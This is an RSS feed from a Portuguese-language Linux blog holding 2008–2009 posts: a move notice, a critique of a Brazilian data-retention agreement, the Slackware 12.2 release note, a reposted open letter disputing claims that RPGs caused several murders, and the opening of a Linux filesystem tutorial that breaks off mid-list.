<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>0x66</title>
	<atom:link href="http://0x66.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://0x66.wordpress.com</link>
	<description></description>
	<lastBuildDate>Fri, 23 Jan 2009 21:40:08 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>pt-br</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='0x66.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/2beee92f1a0f1b0cc0978bfecd5b32d3?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>0x66</title>
		<link>http://0x66.wordpress.com</link>
	</image>
			<item>
		<title>Mudanças</title>
		<link>http://0x66.wordpress.com/2009/01/23/mudancas/</link>
		<comments>http://0x66.wordpress.com/2009/01/23/mudancas/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 21:40:08 +0000</pubDate>
		<dc:creator>VonNaturAustreVe</dc:creator>
				<category><![CDATA[noticia]]></category>
		<category><![CDATA[mudanças]]></category>
		<category><![CDATA[nova hospedagem]]></category>

		<guid isPermaLink="false">http://0x66.wordpress.com/2009/01/23/mudancas/</guid>
		<description><![CDATA[Nós mudamos para
http://0fx66.com
Posted in noticia Tagged: mudanças, nova hospedagem      <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=46&subd=0x66&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Nós mudamos para</p>
<p><a href="http://0fx66.com" target="_blank">http://0fx66.com</a></p>
Posted in noticia Tagged: mudanças, nova hospedagem <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0x66.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0x66.wordpress.com/46/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0x66.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0x66.wordpress.com/46/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0x66.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0x66.wordpress.com/46/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0x66.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0x66.wordpress.com/46/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0x66.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0x66.wordpress.com/46/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=46&subd=0x66&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://0x66.wordpress.com/2009/01/23/mudancas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">VonNaturAustreVe</media:title>
		</media:content>
	</item>
		<item>
		<title>Termo da CPI da Pedofilia é assinado sem discussão pública</title>
		<link>http://0x66.wordpress.com/2008/12/27/termo-da-cpi-da-pedofilia-e-assinado-sem-discussao-publica/</link>
		<comments>http://0x66.wordpress.com/2008/12/27/termo-da-cpi-da-pedofilia-e-assinado-sem-discussao-publica/#comments</comments>
		<pubDate>Sat, 27 Dec 2008 04:30:26 +0000</pubDate>
		<dc:creator>VonNaturAustreVe</dc:creator>
				<category><![CDATA[Artigos]]></category>
		<category><![CDATA[Outros]]></category>
		<category><![CDATA[noticia]]></category>
		<category><![CDATA[CPI]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[leis]]></category>
		<category><![CDATA[liberdade]]></category>
		<category><![CDATA[noticias]]></category>
		<category><![CDATA[pedofilia]]></category>
		<category><![CDATA[políticos]]></category>
		<category><![CDATA[privacidade]]></category>
		<category><![CDATA[revolta]]></category>

		<guid isPermaLink="false">http://0x66.wordpress.com/?p=39</guid>
		<description><![CDATA[reflexão sobre o acordo firmado com a cpi e as operadoras de telecomunicações.
<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=39&subd=0x66&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Hi,blz?</p>
<p>Recentemente vi um post no <a href="http://br-linux.org/2008/culpado-ate-prova-em-contrario/" target="_blank">br-linux</a>, que me abriu os olhos para alguns fatos.</p>
<p>Vamos inicialmente a noticia:</p>
<blockquote><p>&#8220;Assinatura do termo de mútua cooperação</p>
<p>As operadoras Oi, Brasil Telecom e TIM assinaram na quarta-feira (17) um “termo de mútua cooperação” elaborado pela Comissão Parlamentar de Inquérito (CPI) da Pedofilia.</p>
<p>O texto do documento, não divulgado publicamente antes de sua assinatura e ainda com circulação limitada – <a href="http://www.safernet.org.br/twiki/pub/SaferNet/Noticia20081217203825/Termo.pdf" target="_blank">em formato PDF escaneado</a> -, prevê a transferências de “dados de conexão” por “fornecedores de conteúdo e serviços de interativo” sem autorização judicial, assim como a manutenção dos chamados “logs de conexão” por três anos.</p>
<p>O termo é diferente do “Projeto Azeredo” sobre cibercrimes, que não cria responsabilidades para fornecedores de conteúdo. Há ainda prazos limite para o fornecimento da informação, que pode chegar a duas horas se houver “risco iminente à vida de criança ou adolescente”. Mas quem define se há “risco iminente à vida” quando não há necessidade autorização judicial? E por que a vida de “criança ou adolescente” é a única que o termo se propõe a proteger? Aparentemente a vida vale menos após o 18º aniversário.</p>
<p>Algumas das partes mais polêmicas do termo têm sua aplicação incerta porque, dentro de 60 dias, será formada uma Comissão de Acompanhamento e Prevenção. Essa comissão tem o poder de arbitrar a respeito de “casos omissos” do termo. Para a criação do regimento interno, a organização não-governamental Safernet terá a mesma quantidade de representes que todos os provedores de internet: um. Também haverá um representante de todos os Ministérios Públicos estaduais, um do MPF, um das operadoras de telefonia fixa, um das operadoras de telefonia móvel, um dos fornecedores de conteúdos e serviços e, por fim, um da PF, totalizando oito integrantes, totalizando oito responsáveis pela criação do regimento.</p>
<p>Quem e quantas pessoas exatamente participarão da Comissão, e como vão trabalhar, será definido por esse grupo.</p>
<p>O parágrafo referente aos dados cedidos sem autorização judicial é um dos que ainda terão detalhes especificados por essa comissão. O mesmo grupo ainda vai “discutir a eficácia” das medidas, ou seja: aprova-se o documento primeiro, verifica-se se ele é eficaz depois.</p>
<p>O conteúdo das comunicações telemáticas é protegido por ordem judicial. O termo exige que “fornecedores de conteúdo ou serviços de interatividade” armazenem toda a informação veiculada por pelo menos seis meses. Em tese, isso significa que aquele post que você fez em um blog, mas depois apagou, vai ficar seis meses nos servidores e está disponível caso alguém venha a requisitá-lo judicialmente. Não existe nada comparável no “PL Azeredo”, que ainda aguarda votação na Câmara.</p>
<p>O texto do termo ainda tem outros problemas e contradições. No parágrafo terceiro da cláusula quinta, os provedores são obrigados a garantir que os dados fornecidos correspondem aos armazenados em seus sistemas. Porém, o inciso II do parágrafo único na cláusula décima diz que “as empresas signatárias não são responsáveis pela veracidade das informações fornecidas por seus usuários”. Logo, basta às operadoras a propagação de uma mentira em vez de garantir a veracidade da informação.</p>
<p>A multa, no caso de descumprimento, varia de R$ 5 mil a R$ 25 mil reais (“PL Azeredo”: R$ 2 mil a R$100 mil). E se o número de solicitações for muito grande e o provedor não conseguir atendê-los a tempo? O texto do documento prevê isso, porém só “será considerado &#8216;volume mensal elevado&#8217; o que [exceder] em trinta por cento a média de solicitações feitas nos três meses precedentes”. Dessa maneira, se as solicitações crescerem ordenadamente, qualquer número alto não será “elevado”.</p>
<p>Constam no documento assinaturas do Ministério Público Federal, da Polícia Federal, do Comitê Gestor da Internet e da Safernet Brasil. Oi e Brasil Telecom são responsáveis pela telefonia fixa e, por extensão, pela internet ADSL em todos os estados no Brasil, menos São Paulo. Isso significa que todos os usuários de internet ADSL dessas operadoras estarão sujeitos ao texto do termo, embora ele não seja “lei”. Claro, Telefônica e Vivo já se pronunciaram que também assinarão o termo.</p>
<p>Proteger as crianças é uma atitude nobre, assim como é também proteger a vida de qualquer ser humano, independentemente da idade. A atenção à criança e ao adolescente chega a um ponto em que é preciso questionar por que não há menção a outros casos e se esse “foco” não é apenas uma maneira de evitar questionamentos da proposta, dado a passionalidade que acompanha estes assuntos. Por exemplo, o termo pede que as empresas alterem seus contratos para permitir sua rescisão no caso de crimes contra crianças. Por acaso crimes contra adultos não são suficientes para rescisão de contrato?</p>
<p>Os prazos para o fornecimentos dos dados começam a valer somente 360 dias após a assinatura do termo. Até lá, talvez, todos já esqueceram do termo, cujo prazo de vigência é indeterminado.&#8221;</p></blockquote>
<p><strong>1º Fato</strong></p>
<p>Não é muito mais muito estranho um acordo desses ser feito assim a portas fechadas?será que esse acordo foi feito tão perto do natal e ano novo só para que ninguém perceba que está sendo feito um acordo desses?<br />
<strong>2º Fato</strong></p>
<p>Por que será que fizeram um acordo para que os dados sejam entregues sem autorização judicial?</p>
<p><strong>3º Fato</strong></p>
<p>Vão realmente atrás dos pedifilos?ou os pedofilos são apenas um bode expiatório,será que não iria acontecer igual com o trafego de drogas?apreende-se algumas gramas mais deixam passar toneladas pelas costas e fingem que nem estão vendo&#8230;</p>
<p><strong>Agora peço que realmente reflitam sobre isso.</strong></p>
<p><a href="http://g1.globo.com/Noticias/Tecnologia/0,,MUL928268-6174,00-TERMO+DA+CPI+DA+PEDOFILIA+E+ASSINADO+SEM+DISCUSSAO+PUBLICA.html" target="_blank">Fonte da Noticia</a></p>
<p><a href="http://www.safernet.org.br/twiki/pub/SaferNet/Noticia20081217203825/Termo.pdf" target="_blank">Link com o acordo de mutua cooperação</a></p>
<p>[]&#8217;s</p>
Posted in Artigos, noticia, Outros Tagged: CPI, internet, leis, liberdade, noticias, pedofilia, políticos, privacidade, revolta <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0x66.wordpress.com/39/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0x66.wordpress.com/39/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0x66.wordpress.com/39/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0x66.wordpress.com/39/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0x66.wordpress.com/39/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0x66.wordpress.com/39/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0x66.wordpress.com/39/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0x66.wordpress.com/39/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0x66.wordpress.com/39/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0x66.wordpress.com/39/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=39&subd=0x66&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://0x66.wordpress.com/2008/12/27/termo-da-cpi-da-pedofilia-e-assinado-sem-discussao-publica/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">VonNaturAustreVe</media:title>
		</media:content>
	</item>
		<item>
		<title>Slackware 12.2</title>
		<link>http://0x66.wordpress.com/2008/12/11/slackware-122/</link>
		<comments>http://0x66.wordpress.com/2008/12/11/slackware-122/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 17:03:40 +0000</pubDate>
		<dc:creator>VonNaturAustreVe</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[noticia]]></category>
		<category><![CDATA[resenhas]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[slack]]></category>
		<category><![CDATA[slackware]]></category>
		<category><![CDATA[slackware 12.2]]></category>
		<category><![CDATA[software livre]]></category>

		<guid isPermaLink="false">http://0x66.wordpress.com/?p=35</guid>
		<description><![CDATA[noticia sobre o lançamento do slackware 12.2<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=35&subd=0x66&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Hi,blz?</p>
<p>Após algum tempo meio longe do blog resolvi voltar a ativa,tive alguns problemas pessoais(malditas mulheres,com elas problemas é sem elas mais problemas ainda)mais enfim to de volta reativando o blog.</p>
<p>Um noticia até boa foi lançado  ontem dia 10 o Slackware 12.,não pude testa-lo ainda mais já estou baixando :).</p>
<p>Segue abaixo a nota oficial de lançamento.</p>
<p>&#8220;Yes folks, &#8217;tis the season to announce a new release of Slackware.  With a shiny new kernel, many package updates, and the newly added ability to install from a Samba share, we bring to you the latest in the stable Slackware 12.x series.  Slackware 12.2 ships with the 2.6.27.7 Linux kernel, the Xorg 1.4.2 X server (with many driver, library, and application updates), Xfce 4.4.3, KDE 3.5.10, simplified wired and wireless networking with wicd in /extra, package upgrade management with slackpkg moved into the main tree, support for non-usb-storage digital cameras through libgphoto2, pm-utils (tools to support suspend and hibernate through HAL), and much, much more.  This release brings the system up-to-date without compromising stability or compatibility with the 12.x series.</p>
<p>More details may be found in the <a href="http://www.slackware.com/announce/12.2.php"><strong>official announcement</strong></a>.</p>
<p>If you like Slackware, please consider supporting the project by picking up a copy of Slackware 12.2 from the <a href="http://store.slackware.com/"><strong>Slackware Store</strong></a>.  The discs are off to replication now and pre-orders are being accepted for the official 6 CD or 1 DVD set.  Also by popular demand, we now have black T-shirts with the original Slackware logo for sale.  Check &#8216;em out!</p>
<p>Thanks are due to the Slackware crew, the developers of <a href="http://slackbuilds.org/"><strong>slackbuilds.org</strong></a>, the fine folks on <a href="http://www.linuxquestions.org/questions/slackware-14/"><strong>linuxquestions.org</strong></a>, IRC, and everyone else who pitched in to help make this another great Slackware release.  We couldn&#8217;t have done it without your help.</p>
<p>As always &#8212; have fun!</p>
<p>Pat and the Slackware crew&#8221;</p>
<p>Longa vida ao grande slackware o/</p>
<p><a title="annouce slackware 12.2" href="http://www.slackware.com/announce/12.2.php" target="_blank">Link oficial sobre o anuncio</a></p>
<p><a title="dvd full torrent slackware 12.2 " href="http://www.slackware.com/torrents/slackware-12.2-install-dvd.torrent" target="_blank">Links para o dvd full(via torrent)</a></p>
<p>[]&#8217;s</p>
Posted in linux, noticia, resenhas Tagged: free software, linux, news, noticia, open source, slack, slackware, slackware 12.2, software livre <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0x66.wordpress.com/35/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0x66.wordpress.com/35/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0x66.wordpress.com/35/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0x66.wordpress.com/35/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0x66.wordpress.com/35/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0x66.wordpress.com/35/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0x66.wordpress.com/35/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0x66.wordpress.com/35/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0x66.wordpress.com/35/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0x66.wordpress.com/35/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=35&subd=0x66&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://0x66.wordpress.com/2008/12/11/slackware-122/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">VonNaturAustreVe</media:title>
		</media:content>
	</item>
		<item>
		<title>RPG INOCENTE</title>
		<link>http://0x66.wordpress.com/2008/11/19/rpg-inocente/</link>
		<comments>http://0x66.wordpress.com/2008/11/19/rpg-inocente/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 03:37:49 +0000</pubDate>
		<dc:creator>VonNaturAustreVe</dc:creator>
				<category><![CDATA[Outros]]></category>
		<category><![CDATA[boatos]]></category>
		<category><![CDATA[jornalismo]]></category>
		<category><![CDATA[mídia]]></category>
		<category><![CDATA[rpg]]></category>
		<category><![CDATA[rumores]]></category>
		<category><![CDATA[teoria da conspiação]]></category>
		<category><![CDATA[verdade]]></category>

		<guid isPermaLink="false">http://0x66.wordpress.com/?p=32</guid>
		<description><![CDATA[O RPG não influenciou NENHUM crime no Brasil
Carta aberta à mídia.
Peço a todos os jogadores de RPG que copiem este texto em seus blogs, sites, flogs, comunidades do orkut e onde mais puderem, pois não seremos mais usados como bodes expiatórios por delegados ineficazes, pastores evangélicos, vereadores oportunistas e jornalistas incompetentes.
O texto abaixo dá nome [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=32&subd=0x66&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><strong>O RPG não influenciou NENHUM crime no Brasil</strong></p>
<p>Carta aberta à mídia.</p>
<p>Peço a todos os jogadores de RPG que copiem este texto em seus blogs, sites, flogs, comunidades do orkut e onde mais puderem, pois não seremos mais usados como bodes expiatórios por delegados ineficazes, pastores evangélicos, vereadores oportunistas e jornalistas incompetentes.<br />
O texto abaixo dá nome aos bois: às vítimas, aos assassinos e aos oportunistas que usaram os crimes para se promoverem. Chega de notícias distorcidas, incompletas e tendenciosas.</p>
<p><strong><span id="more-32"></span>TERESÓPOLIS</strong><br />
Em 14 e 20 de Novembro de 2000, na cidade de Teresópolis (RJ), duas garotas de 14 (<strong>Iara dos Santos Silva</strong>) e 17 (<strong>Fernanda Venâncio Ramos</strong>) anos foram estupradas, torturadas e estranguladas com um intervalo de seis dias entre os crimes.<br />
<strong>Sônia Ramos</strong>, 42, madrasta de Fernanda, a segunda vítima, levantou em um texto a suspeita de que as atrocidades pudessem estar ligadas ao jogo e que o RPG conduziria ao crime, porque sua filha (a VÍTIMA, que NÃO jogava RPG) andava na companhia de outros garotos que jogavam GURPS e Vampiro (sua alegação se baseou no fato de que sua filha andava as voltas &#8220;com pessoas que se fantasiavam de vampiros&#8221;).<br />
Inclusive a polícia chegou a prender injustamente um jogador de RPG, que não vou falar o nome porque o coitado era inocente e não merece ter seu nome publicado, mas que passou quatro dias na cadeia por causa deste absurdo.<br />
O verdadeiro assassino das garotas foi preso após o 5o crime, depois da prisão do RPGista; era um cigano e NUNCA sequer passou perto de um livro de RPG.<br />
A imprensa irresponsável, assim como no caso famoso da &#8220;Escolinha Base&#8221;, foi muito rápida em divulgar versões fantasiosas sobre o &#8220;jogo da morte&#8221;, mas NUNCA publicou uma linha sequer se desculpando com os 400.000 jogadores de RPG que foram ofendidos em sua moral e prejudicados diante da sociedade.</p>
<p><strong>OURO PRETO</strong><br />
No dia 10 de outubro de 2001, <strong>Aline Silveira Soares</strong> viajou do Espírito Santo com sua prima e alguns colegas para Ouro Preto para participar da &#8220;Festa do Doze&#8221;, que é uma espécie de Carnaval fora de hora entre as faculdades da região, com R$40,00 e a roupa do corpo para passar três dias.<br />
Segundo o laudo, Aline consumiu drogas durante o dia anterior ao de sua morte. Esta informação foi confirmada por diversas testemunhas que também participavam da festa, em Ouro Preto (testemunhas que foram solenemente ignoradas pelo delegado <strong>Adauto Corrêa</strong> após as investigações tomarem o rumo circence). Aline não tinha dinheiro e acreditou que conseguiria fugir do traficante sem pagar pela droga que consumiu, mas no dia de sua morte (14 de Outubro de 2001), foi abordada pelo criminoso no caminho de volta para a república onde estava hospedada (o cemitério fica exatamente no meio do trajeto entre o local da festa e a república). Testemunhas (que também foram ignoradas no inquérito oficial) disseram ter visto Aline conversar com um conhecido traficante da cidade na porta do cemitério algumas horas antes de sua morte.<br />
De acordo com especialistas em crimes relacionados a drogas, Aline provavelmente teria se oferecido para ter relações sexuais com o traficante para pagar a dívida, pois as roupas da garota foram encontradas <em>&#8220;cuidadosamente dobradas e dispostas ao lado do local do crime, sem nenhum indício de violência ou de coerção&#8221;</em>. Aline tomou o cuidado de deixar suas sobre uma das lápides, dobradas com a jaqueta por baixo, para que não sujassem.<br />
Ainda segundo o laudo oficial da perícia técnica, durante a primeira facada que Aline recebeu, o corpo estava na posição acocorada, popularmente conhecida como &#8220;de quatro&#8221;. Segundo especialistas em crimes de estupro, o traficante provavelmente teria tentado obrigar Aline a realizar sexo anal, que possivelmente foi rejeitado pela garota, resultando no primeiro golpe com a faca. O traficante, tendo ferido Aline seriamente, não viu alternativa a não ser terminar de matá-la. Para disfarçar, o assassino colocou o corpo de Aline em posição deitada sobre a lápide (pelas fotos da perícia e rastros de sangue, pode-se atestar que o corpo foi movido APÓS a sua morte) para tentar atrapalhar as investigações.</p>
<p>Quando o corpo foi encontrado, os policiais começaram as investigações pelos locais em que Aline se hospedou e em uma das repúblicas foram encontrados alguns livros de RPG, que o delegado, evangélico confesso, classificou como &#8220;material satanista&#8221;. A partir disto, um vereador oportunista chamado <strong>Bentinho Duarte</strong> (sem partido) viu nisso uma chance de se promover realizando terrorismo psicológico e, junto com o Promotor <strong>Fernando Martins</strong> (conhecido por ter tentado proibir a distribuições de jogos como Duke Nuken e Carmagedon), moveu ação contra as empresas Devir Livraria e Daemon editora tentando a proibição de 3 títulos (Vampiro: a Máscara, Gurps Illuminati e Demônios: a Divina Comédia).</p>
<p>Resumindo: um crime que não teve nada a ver com RPG, mas sim com <strong>DÍVIDA DE DROGAS</strong> resultou até agora na prisão de 4 garotos injustamente (que NÃO são jogadores de RPG, fato comprovado pela mãe da vítima em depoimento ao vivo na rede Bandeirantes de TV) e um completo show de aberrações e absurdos na mídia.</p>
<p><strong>GUARAPARI</strong><br />
Polícia Civil do Espírito Santo prendeu, na noite de 12 de Maio de 2005, dois acusados pelo assassinato do aposentado <strong>Douglas Augusto Guedes</strong>, da mulher dele, a corretora de imóveis <strong>Heloísa Helena Andrade Guedes</strong>, e do filho do casal <strong>Tiago Guedes</strong>, em Guarapari. Os corpos dos três foram encontrados amarrados e deitados em camas no dia 5 de maio. Na mesma data, eles foram sepultados.<br />
O delegado da Divisão de Homicídios de Guarapari, <strong>Alexandre Linconl</strong>, evangélico, disse ao Portal Terra que os assassinos <strong>MAYDERSON DE VARGAS MENDES</strong>, 21 anos, e <strong>RONALD RIBEIRO RODRIGUES</strong>, 22, confessaram que eles mataram a família motivados pelo jogo, mas essa &#8220;confissão&#8221; não ocorreu imediatamente após o crime.<br />
O crime que Mayderson e Ronald cometeram é o de LATROCÍNIO QUALIFICADO E PREMEDITADO, ou seja, mataram para roubar de uma maneira cruel e sem dar chance de defesa às vítimas, com premeditação. Esse é um crime hediondo, sendo julgado e condenado diretamente por um juiz criminal. Ambos os acusados já tinham ficha criminal (ambos estão respondendo processo por Porte ilegal de Arma)<br />
O que o advogado de defesa da dupla estava fazendo era alegar que eles cometeram o crime influenciado pelo jogo e, com essa ação, tentar reverter o crime para Homicídio Simples, baseado no tal jogo que ninguém sabe o que é. Com isso, os assassinos iriam para um júri popular, que poderia ser muito bem influenciado por todo esse novo circo que a mídia sensacionalista armou e, jogando a culpa em cima do RPG, poderia até inocentar os &#8220;pobres coitadinhos vítimas do jogo&#8221; Mayderson e Ronald&#8230;<br />
O que tem de ficar bem claro é o seguinte: os criminosos entraram na casa, apontaram armas para Tiago e sua família, doparam a família sob a mira do revólver, levaram o garoto até o caixa eletrônico onde roubaram R$ 4.000,00 de sua poupança e depois executaram friamente a família com tiros na cabeça, para não serem reconhecidos. A história do &#8220;RPG&#8221; só apareceu dois dias depois que os assassinos foram capturados pela polícia, sob orientação do advogado de defesa da dupla.<br />
É bom lembrar, já que a mídia &#8220;esqueceu&#8221;, que, graças à intervenção da Daemon Editora e da conversa de Marcelo Del Debbio, escritor especialista em Role Playing Games, com o delegado de Guarapari ao vivo em uma entrevista na Rede Bandeirantes de TV, o advogado de defesa da dupla abandonou o caso, deixando os dois criminosos sem advogado à espera de um defensor público.</p>
<p>Com estes textos, podemos começar a nos defender dos três falsos &#8220;crimes do RPG&#8221;. Já está na hora destas informações serem passadas para jornalistas sérios que queiram nos ajudar a fazer a verdade aparecer.</p>
<p>Abraços fraternais</p>
<p><a title="Site da editora Daemon" href="http://www.daemon.com.br/rpg_inocente.asp" target="_blank">Fonte</a></p>
Posted in Outros Tagged: boatos, jornalismo, mídia, rpg, rumores, teoria da conspiação, verdade <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0x66.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0x66.wordpress.com/32/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0x66.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0x66.wordpress.com/32/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0x66.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0x66.wordpress.com/32/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0x66.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0x66.wordpress.com/32/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0x66.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0x66.wordpress.com/32/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=32&subd=0x66&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://0x66.wordpress.com/2008/11/19/rpg-inocente/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">VonNaturAustreVe</media:title>
		</media:content>
	</item>
		<item>
		<title>Entendendo as estruturas e diretórios</title>
		<link>http://0x66.wordpress.com/2008/06/24/entendendo-as-estruturas-e-diretorios/</link>
		<comments>http://0x66.wordpress.com/2008/06/24/entendendo-as-estruturas-e-diretorios/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 21:26:03 +0000</pubDate>
		<dc:creator>VonNaturAustreVe</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[comandos]]></category>
		<category><![CDATA[diretorios]]></category>
		<category><![CDATA[sistema de arquivos]]></category>

		<guid isPermaLink="false">http://0x66.wordpress.com/?p=30</guid>
		<description><![CDATA[Entendendo as estruturas e diretórios
Num sistema Linux geralmente temos uma estrutura de diretórios um pouco complexa. Os arquivos ali dispostos, a princípio, parecem estar jogados aleatoriamente nos diversos diretórios existentes. Mas, felizmente, há uma certa ordem e uma lógica fazendo com que cada diretório do sistema tenha uma finalidade específica.
Antes de irmos entender os diretórios [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=30&subd=0x66&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><span style="font-size:medium;"><strong>Entendendo as estruturas e diretórios</strong></span></p>
<p class="western" style="margin-bottom:0;">Num sistema Linux geralmente temos uma estrutura de diretórios um pouco complexa. Os arquivos ali dispostos, a princípio, parecem estar jogados aleatoriamente nos diversos diretórios existentes. Mas, felizmente, há uma certa ordem e uma lógica fazendo com que cada diretório do sistema tenha uma finalidade específica.<br />
Antes de irmos entender os diretórios precisamo dar uma pincelada e algumas informações uteis,que serão bem uteis em breve e também ajuda a entender o motivo dos diretórios(caso você esteja querendo ser um desenvolvedor ou e um).<br />
<span id="more-30"></span><br />
<strong>Sistema de Arquivos</strong></p>
<p>Sistema de arquivos é a forma que o sistema operacional usa para representar determinada informação em um espaço de armazenagem. É o método de identificar e indexar as informações que estão armazenadas em qualquer mídia: disquetes, discos rígidos, drives em memória, CDs, etc.</p>
<p>Quando se prepara um disco para o trabalho através do processo de formatação física, criam-se os meios magnéticos necessários para armazenar os dados. Este processo faz uma preparação do dispositivo de armazenagem para que ele possa receber um sistema de arquivos e futuramente os dados do usuário. Um sistema de arquivos, portanto, é necessário para manter padrões, para controlar o tamanho das partições, permissões de arquivos, tamanho dos arquivos e sua organização, entre muitas outras funções.</p>
<p>Será visto primeiramente quais os principais tipos de sistemas de arquivos que existem e que são criados em um processo de formatação:</p>
<p><strong>ext:</strong> sistema de arquivos estendido (extended filesystem). É o sistema de arquivos mais utilizado no Linux. Existem ramificações (ext2 e ext3), sendo o ext3 o mais amplamente utilizado pela comunidade Linux atualmente. Ele fornece padrões para arquivos regulares, diretórios, arquivos de dispositivos, links simbólicos e suporte a transações (journalling), entre outras características avançadas.</p>
<p><strong>vfat:</strong> este é o sistema de arquivos (volume FAT) dos sistemas Windows®9x e Windows NT®.</p>
<p><strong>ntfs:</strong> este é o sistema de arquivos dos sistemas Windows2000®, Windows XP® e NT®, entre outros.</p>
<p><strong>nfs:</strong> sistema de arquivos de rede, utilizado para acessar diretórios de máquinas remotas, que permite o compartilhamento de dados na rede.</p>
